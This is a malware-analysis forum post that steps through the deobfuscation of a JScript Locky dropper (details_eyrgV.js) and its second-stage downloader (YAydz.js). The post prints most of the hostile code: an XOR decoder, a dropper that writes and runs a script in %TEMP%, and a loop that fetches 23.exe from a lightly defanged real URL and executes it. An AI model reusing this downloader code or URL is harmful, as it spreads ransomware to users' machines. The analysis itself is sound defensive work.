Malware Analysis details_eyrgV.js sample that creates YAydz.js => locky downloader

DardiM

Level 26
Thread author
Verified
Honorary Member
Top Poster
Malware Hunter
Well-known
May 14, 2016
1,597
From malware Vault (samples) :
https://malwaretips.com/threads/10-10-2016-5.64335/
Thanks to @Daniel Hidalgo

details_eyrgV.js

4/56 when posting
Antivirus scan for b8551f47835abb556205e67aaefd4ad07a2a0a638dc937cc3b91fc5d971dff6f at 2016-10-10 20:39:49 UTC - VirusTotal

1) What it looks like :

var XszHCayO = new Date();
while (true) {

var jLvbGowH = new Date();
var WuIbnd = new Date(jLvbGowH.getTime() - XszHCayO.getTime());
if (WuIbnd.getSeconds() > 6) {

break;
}
WScript.Sleep(500);
}

var BxrDqFDU = "j}n<L}^olLe<!<ryk<X}hy45'ktupy4hniy5<gj}n<Sel]TR<!<ryk<X}hy45'j}n<m~vOisr<!
...
...
VT{ID'KVviE775gyRks7!PsmOYVJE2t}n]h4Q}ht2zpssn4Q}ht2n}rxsq456PsmOYVJE2pyr{ht55'anyhinr<yRks'azirhusr<RNxNT~OfnPJkuo4oJFDRZtKrRflix5<gnyhinr<ryk<]hujyDS~vyh4oJFDRZtKrRflix5'a";

ndGoMrN = QUJzuD(BxrDqFDU);

var rABFFQow, udlqE, OFfXHrC;
DimQHsOv = 'WScript.Shell';
OFfXHrC = WScript.CreateObject(DimQHsOv);
rABFFQow = new ActiveXObject('Scripting.FileSystemObject');
udlqE = rABFFQow.OpenTextFile(OFfXHrC.ExpandEnvironmentStrings('%T' + 'MP%') + String.fromCharCode(92) + 'YAydz.js', 2, true);
udlqE.Write(ndGoMrN);
udlqE.Close();
OFfXHrC.run(OFfXHrC.ExpandEnvironmentStrings('%T' + 'M' + 'P%') + String.fromCharCode(92) + 'YAydz.js', 0x1, 0x0);

function QUJzuD(cmDIoyF) {

var ePqNkIe = '2' + '8';
var WXifTe = '"' + new Date() + '"';

var UYqmNGk = "bPnHVkXJPq" + "emZmyVLKoFFzOljGMsAzP" + "VazuhDqPWcHIELNyrhQBYdfycRcriVoJctmpUdzIXfxEfuEcviDfiIDLtojnpdDIANPfohpHmRzfzZtCdULRGOnlrzam....
...
CfDXXYLOXiNQxaCpfTtqnUefzISQCpigpIxXjryYrCXheQWnGYcjNISGUBtwQnCwyZHhuUaHXdUlRCkpWiYrgxKM";

v
ar oYBnsPCJ = 0;

while (oYBnsPCJ < cmDIoyF.length) {
WXifTe += MTizWw(ePqNkIe ^ luauVFis(cmDIoyF, oYBnsPCJ));
oYBnsPCJ++;
}
return WXifTe;
}

function MTizWw(UFfwuQh) {

return String.fromCharCode(UFfwuQh);
}

function luauVFis(EuKqPkWb, DGftJFg) {

return EuKqPkWb.charCodeAt(DGftJFg)
}

2) Quick analysis :

2-1) Timer :

var XszHCayO = new Date();
while (true) {

var jLvbGowH = new Date();
var WuIbnd = new Date(jLvbGowH.
getTime() - XszHCayO.getTime());
if (WuIbnd.getSeconds() > 6) {
break;
}
}

wait 7 s before running the next part​
2-2) vars that hide some data :


var BxrDqFDU
var UYqmNGk
2-3) functions :

- QUJzuD(a_string_to_decode)

=> decode the BxrDqFDU string
=> here, UYqmNGk seems not to be used
- MTizWw(index)

=> fromCharCode(index)
- luauVFis(a_string, index)

=> a_string.charCodeAt(index)
2-4) Some important objects / parts:

var rABFFQow, udlqE, OFfXHrC;

DimQHsOv = 'WScript.Shell';

OFfXHrC = WScript.
CreateObject(DimQHsOv);

=> object Shell
rABFFQow = new ActiveXObject('Scripting.FileSystemObject');

=> object FileSystemObject
udlqE = rABFFQow.OpenTextFile(OFfXHrC.ExpandEnvironmentStrings('%T' + 'MP%') + String.fromCharCode(92) + 'YAydz.js', 2, true);

=> String.fromCharCode(92) => char \
=> Open a file as text from the location : %TEMP%\YAydz.js'

parameter 2 : for writing
parameter true : opens the file as Unicode
udlqE.Write(ndGoMrN);
=> write the real part of new js file in : YAydz.js
(remember that ndGoMrN is a var with the "decrypted" string
udlqE.Close();
OFfXHrC.run(OFfXHrC.ExpandEnvironmentStrings('%T' + 'M' + 'P%') + String.fromCharCode(92) + 'YAydz.js', 0x1, 0x0);
=> the new js script YAydz.js is run
3) YAydz.js :

Calling the QUJzuD function with the obfuscated vars BxrDqFDU (see above a part of the content) gave me the real content that is put in the new js script
This script also have obfuscated parts as you can see on the spoiler below
I modified some part , as usual, to avoid some "copy-paste", "save" => infection :p

Tue Oct 11 00: 58: 17 UTC + 0200 2016

var PaBspPy = new Date();
while (true) {

var OcypAHN = new Date();
var qbjSuon = new Date(OcypAHN.getTime() - PaBspPy.getTime());
if (qbjSuon.getSeconds() > 5) {

break;
}
WScript.Sleep(500);
}

function NBAodwsiLg(Ciefjzar, STRpHAuVjgbK) {
aUwoWNL = 0x1;
LrdyTFn = 0x0;

Ciefjzar.Run(STRpHAuVjgbK, aUwoWNL, LrdyTFn);
}
/*GxIKdgKHbXRhdGxJqtskrVVknyXGHNQYEatiKVXLeLuEpgclytMFihRkzKjZcLfwWxxALEEIAtqTVBaGZmATsniegOPmSCNPHNVLfhEzqVGdTOsVUZIbWmSRfNOsamPaMXMPSDYjAqpfmWeeiGjcUfVyzEhrCQkfkaXNaSLMdErcYWjgQfdXkRsZlqTkyoZebWBEAbRjZN*/

JUCrdtgehFJVs();
var maGZS = [
"http ://lcbschool2.ac.th/pic/_notes/logs.php"];
var atjq = 362 - 362;
while (true) {

if (maGZS.length <= 553 - 553) break;
var RwQU = QfTXccy() % maGZS.length;
var InnRbGOcN = maGZS[RwQU];
var qLQpX = QfTXccy();
var xHooWxtNky = '23.exe';
var HyOrvCT = '23.exe';
var MCMJvfnb = 794 - 793;
var tsUuHCfxc = function() {

return new ActiveXObject(PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
}();
var HyOrvCT = wQklCQ(tsUuHCfxc) + String.fromCharCode(92) + HyOrvCT;
var jSerZ = function() {

return new ActiveXObject(PednY('MSX&ZvPfDkuht&ML2.XM&zDRAyihCSBC&LHTTP', [0, 2, 4], '&'));
}();
zUEI(InnRbGOcN, jSerZ);
if (jSerZ.status == 100 + 100) {

var hOYBosi = function() {
return new ActiveXObject(PednY('ADO&DB&EUBbmpybD&.&nlAkBfYkp&Stream', [0, 1, 3, 5], '&'));
}();
var rApODBCFzQmM = MjnZz(hOYBosi, jSerZ.ResponseBody, HyOrvCT);
}
try {

NBAodwsiLg(tsUuHCfxc, HyOrvCT);
var tzDwPJI = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \\'
'+xHooWxtNky+'\\
'');
if (tzDwPJI.Count >= 1) {
break;

}
} catch (e) {}
atjq++;

maGZS.splice(RwQU, 220 - 219);
}
function wQklCQ(sWvBtu) {
var MevmLzbS = ["ExpandEnvironmentStrings"];
return sWvBtu[MevmLzbS[0]]('%TMP%')
}

function MjnZz(ranvqXxw, KQVdE, RznDKByMGT) {
try {
ranvqXxw.open();
XlMajTFT(ranvqXxw);
kPHcIta(ranvqXxw, KQVdE);
HYAOvNTfV(ranvqXxw);
gLdF(ranvqXxw, RznDKByMGT);
JLsTtDfs = ranvqXxw.size;
hBICuPa(ranvqXxw);

return JLsTtDfs;
} catch (e) {}
}

function zUEI(AObIuR, gIHhfCj) {
try {
pKGA = 'G*ugOEbfqTpR*E*T*esPcxzFXmmrp'.split('*');
gIHhfCj.open(pKGA[0] + pKGA[2] + pKGA[3], AObIuR, false);
gIHhfCj.setRequestHeader("User-Agent", "Python-urllib/3.1");

gIHhfCj.send();
} catch (e) {}
}

function PednY(ZuFfvwAc, sMKgnw, vkeetFrRO) {
OITsX = ZuFfvwAc.split(vkeetFrRO);
kQNJaQj = 'qAV';
for (jXlrputp = 0; jXlrputp < sMKgnw.length; jXlrputp++) {

kQNJaQj += OITsX[sMKgnw[jXlrputp]];
}
return kQNJaQj.substring(3, kQNJaQj.length);
}

function JUCrdtgehFJVs() { /*BXFGoKwgCD().Sleep(3431-850);*/ }

function UJKNDhc() {
var IZlKZJ = ["random"];
return Math[IZlKZJ[0]]()
}

function vxBB(znjEdk) {
znjEdk.open();
}

function XlMajTFT(KBnCTHPmC) {
KBnCTHPmC.type = 1;
}

function kPHcIta(lZgc, wIgZz) {
lZgc.write(wIgZz);
}

function BXFGoKwgCD() {
return /*ujUqQoxgBsPMUVbsMVLKwQZaPEvZjJfSxfGqVqfGvngyrwNdzOHilOQXtvWiqhbaTVMltlhZJbQdhQUIFBWztHcNrgQkQxrcIElYlaBmr*/ WScript;
}

function HYAOvNTfV(eOQHbx) {
var ODlFrgLxqq = [];
eOQHbx.position = ODlFrgLxqq.length * (636299 - 224);
}

function gLdF(CHvXDVM, QoNTkoU) {
CHvXDVM.saveToFile(QoNTkoU, 2);
}


function hBICuPa(wZzwN) {
wZzwN.close();
}


function QfTXccy() {
var UkDb = 99999 + 1;
var AlmnhE = 100;

return Math.round(UJKNDhc() * (UkDb - AlmnhE) + AlmnhE);
}

function jtHnXesK(JHgUX) {
var LoqSEJVY = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (var WJjuY = 0; WJjuY < JHgUX; WJjuY++) {
ecNwo += LoqSEJVY.charAt(Math.floor(Math.random() * LoqSEJVY.length));
}

return ecNwo;
}

function NRdRHbSzrLVwis(sVZXNFhWnNzpud) {
return new ActiveXObject(sVZXNFhWnNzpud);
}

What we can already see, easily :

- URL used to download the bad file : http ://lcbschool2.ac.th/pic/_notes/logs.php
- Payload : 23.exe

4) Deobfuscation of YAydz.js :

4-1) Timer :

var PaBspPy = new Date();
while (true) {

var OcypAHN = new Date();
var qbjSuon = new Date(OcypAHN.getTime() - PaBspPy.getTime());
if (qbjSuon.getSeconds() > 5) {

break;
}
WScript.Sleep(500);
}

=> wait 6 seconds​
4-2 ) Main loop :


JUCrdtgehFJVs();
var maGZS = ["http ://lcbschool2.ac.th/pic/_notes/logs.php"];
var atjq = 362 - 362;


This is the main loop, that will use some useful or useless functions/vars

while (true) {

if (maGZS.length <= 553 - 553) break;
var RwQU = QfTXccy() % maGZS.length;
var InnRbGOcN = maGZS[RwQU];
var qLQpX = QfTXccy();
var xHooWxtNky = '23.exe';
var HyOrvCT = '23.exe';
var MCMJvfnb = 794 - 793;
var tsUuHCfxc = function() {
return new ActiveXObject(PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
}();
var HyOrvCT = wQklCQ(tsUuHCfxc) + String.fromCharCode(92) + HyOrvCT;
var jSerZ = function() {

return new ActiveXObject(PednY('MSX&ZvPfDkuht&ML2.XM&zDRAyihCSBC&LHTTP', [0, 2, 4], '&'));
}();
zUEI(InnRbGOcN, jSerZ);
if (jSerZ.status == 100 + 100) {

var hOYBosi = function() {
return new
ActiveXObject(PednY('ADO&DB&EUBbmpybD&.&nlAkBfYkp&Stream', [0, 1, 3, 5], '&'));
}();
var rApODBCFzQmM = MjnZz(hOYBosi, jSerZ.
ResponseBody, HyOrvCT);
}
try {

NBAodwsiLg(tsUuHCfxc, HyOrvCT);
var tzDwPJI =
GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery('Select * from Win32_Process Where Name = \\' '+xHooWxtNky+'\\'');
if (tzDwPJI.Count >= 1) {
break;
}
} catch (e) {}
atjq++;
maGZS.
splice(RwQU, 220 - 219);
}
4-3) Object created : method used to obfuscated them :


A very important function used :

function PednY(ZuFfvwAc, sMKgnw, vkeetFrRO) {
OITsX = ZuFfvwAc.split(vkeetFrRO);
kQNJaQj = 'qAV';
for (jXlrputp = 0; jXlrputp < sMKgnw.length; jXlrputp++) {
kQNJaQj += OITsX[sMKgnw[jXlrputp]];
}

return kQNJaQj.substring(3, kQNJaQj.length);
}
It is the main function to "deobuscated" the string where when objects have to bee used.
But we will see that it is, hum, a "lol" function (but good enough to make its job:D)
Let see the different calls to this function :

return new ActiveXObject(PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
- PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
Here, the function cuts the string in parts separated by '&' (second parameter)
and return a string build with parts given as first parameter array
- PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
=> 0 => WS
=> 2 => cript
=> 4 => .She
=> 5 => l
=> 6 => l

=> "WScript.Shell"
- in function PednY :

kQNJaQj = 'qAV';

=> useless 3 chars added

kQNJaQj.substring(3, kQNJaQj.length);

=> useless 3 chars removed
return new ActiveXObject(PednY('MSX&ZvPfDkuht&ML2.XM&zDRAyihCSBC&LHTTP', [0, 2, 4], '&'));
- PednY('MSX&ZvPfDkuht&ML2.XM&zDRAyihCSBC&LHTTP', [0, 2, 4], '&'));
=> "MSXML2.XMLHTTP"
return new ActiveXObject(PednY('ADO&DB&EUBbmpybD&.&nlAkBfYkp&Stream', [0, 1, 3, 5], '&'));

- PednY('ADO&DB&EUBbmpybD&.&nlAkBfYkp&Stream', [0, 1, 3, 5], '&'));
=> "ADODB.Stream"
4-4) Deobfuscation :

JUCrdtgehFJVs();

=> to obfuscate a bit more => useless
var maGZS = ["http ://lcbschool2.ac.th/pic/_notes/logs.php"];

=> array of url
var atjq = 362 - 362; => 0
while (true) {
if (maGZS.length <= 0) break;

=> break if no URLS left in the array of URLs maGZS
var RwQU = QfTXccy() % maGZS.length;

=> RwQU : a random valid index of the array of URLs
function QfTXccy() {
var UkDb = 99999 + 1;
var AlmnhE = 100;
return Math.
round(UJKNDhc() * (UkDb - AlmnhE) + AlmnhE);
}
function UJKNDhc() {

var IZlKZJ = ["random"];
return
Math[IZlKZJ[0]]()
}

var InnRbGOcN = maGZS[RwQU];

=> retrieve the URL corresponding in the array (here, only one URL available)
=> we will see at the end of the loop that the current URL used is remove from the array of URLs

=> maGZS.splice(RwQU, 220 - 219);
=> maGZS.splice(index_used, 1);
var qLQpX = QfTXccy();

=> useless
-------------------------------------------------------------------------------------------------------------
=> in this sample, there is only one URL, but the script is
made to take
into account multiple URLs, if available
----------------------------------------------------------------------------------------------------------------
var xHooWxtNky = '23.exe'; => the payload name
var HyOrvCT = '23.exe';
var MCMJvfnb = 794 - 793;
=> 1 :rolleyes:

var tsUuHCfxc = function() {
return new ActiveXObject(PednY('WS&beQBjVFim&cript&beQBjVFim&.She&l&l', [0, 2, 4, 5, 6], '&'));
}();

=> tsUuHCfxc : object shell from "WScript.Shell"
var HyOrvCT = wQklCQ(tsUuHCfxc) + String.fromCharCode(92) + HyOrvCT;
function wQklCQ(sWvBtu) {
var MevmLzbS = ["ExpandEnvironmentStrings"];
return sWvBtu[MevmLzbS[0]]('%TMP%')
}

=> HyOrvCT : "%TEMP%\23.exe"
var jSerZ = function() {
return new ActiveXObject(PednY('MSX&ZvPfDkuht&ML2.XM&zDRAyihCSBC&LHTTP', [0, 2, 4], '&'));
}();

=> jSerZ : object http from "MSXML2.XMLHTTP"
zUEI(InnRbGOcN, jSerZ);
function zUEI(AObIuR, gIHhfCj) {
try {
pKGA = 'G*ugOEbfqTpR*E*T*esPcxzFXmmrp'.split('*');
gIHhfCj.open(pKGA[0] + pKGA[2] + pKGA[3], AObIuR, false);

=> open a connection with "GET", URL, false
=> URL : "http ://lcbschool2.ac.th/pic/_notes/logs.php"​
gIHhfCj.setRequestHeader("User-Agent", "Python-urllib/3.1");
gIHhfCj.send();
} catch (e) {}
}

=> http request "GET" to "http ://lcbschool2.ac.th/pic/_notes/logs.php" with header "User-Agent", "Python-urllib/3.1"
if (jSerZ.status == 100 + 100) {

=> 200 : status "OK" => request successful
var hOYBosi = function() {
return new ActiveXObject(PednY('ADO&DB&EUBbmpybD&.&nlAkBfYkp&Stream', [0, 1, 3, 5], '&'));

=> object Stream from "ADOD.Stream"
}();

var rApODBCFzQmM = MjnZz(hOYBosi, jSerZ.
ResponseBody, HyOrvCT);
function MjnZz(ranvqXxw, KQVdE, RznDKByMGT) {
try {
ranvqXxw.
open();

=> open a Stream
XlMajTFT(ranvqXxw);

=> stream.type = 1
kPHcIta(ranvqXxw, KQVdE);

=> stream.write from ResponseBody to Stream
HYAOvNTfV(ranvqXxw);

=> stream.position = 0
gLdF(ranvqXxw, RznDKByMGT);

=>stream.saveToFile(HyOrvCT, 2);
=> "%TEMP%\23.exe" and 2 : create /overwrite the file
JLsTtDfs = ranvqXxw.size;
hBICuPa(ranvqXxw);


=> stream.close()
return JLsTtDfs;

=> return the size
} catch (e) {}
}
=> From ResponseBody to file "%TEMP%\23.exe"
=> rApODBCFzQmM : size​
}
try {

NBAodwsiLg(tsUuHCfxc, HyOrvCT);
function NBAodwsiLg(Ciefjzar, STRpHAuVjgbK) {
aUwoWNL = 0x1;
LrdyTFn = 0x0;
Ciefjzar.Run(STRpHAuVjgbK, aUwoWNL, LrdyTFn);
}

=> try to run the Payload
var tzDwPJI = GetObject('winmgmts:{impersonationLevel=impersonate}').ExecQuery("Select * from Win32_Process Where Name = " + xHooWxtNky);
=> looks if the payload is running

if (tzDwPJI.Count >= 1) {
break;

=> at least one process of 23.exe => exit​
}
} catch (e) {}

atjq++;

=> no used
maGZS.splice(RwQU, 220 - 219);

=> removes completely the object on index RwQU (URL used in the actual loop)
=> size of array -1
=> here, only one URL => maGZS will be empty, and in the next loop make the script stops​
}
5) To summarize :

- A first script is used to create a second script in %TEMP%\YAydz.js,
- YAydz.js is run

- requests url "http ://lcbschool2.ac.th/pic/_notes/logs.php"
- and save the payload to "%TEMP%\23.exe"
- try to run the payload
- quit the script if the payload is already running or if url array empty

=> here, only one URL => one try​

 
Last edited:

About us

  • MalwareTips is a community-driven platform providing the latest information and resources on malware and cyber threats. Our team of experienced professionals and passionate volunteers work to keep the internet safe and secure. We provide accurate, up-to-date information and strive to build a strong and supportive community dedicated to cybersecurity.

User Menu

Follow us

Follow us on Facebook or Twitter to know first about the latest cybersecurity incidents and malware threats.

Top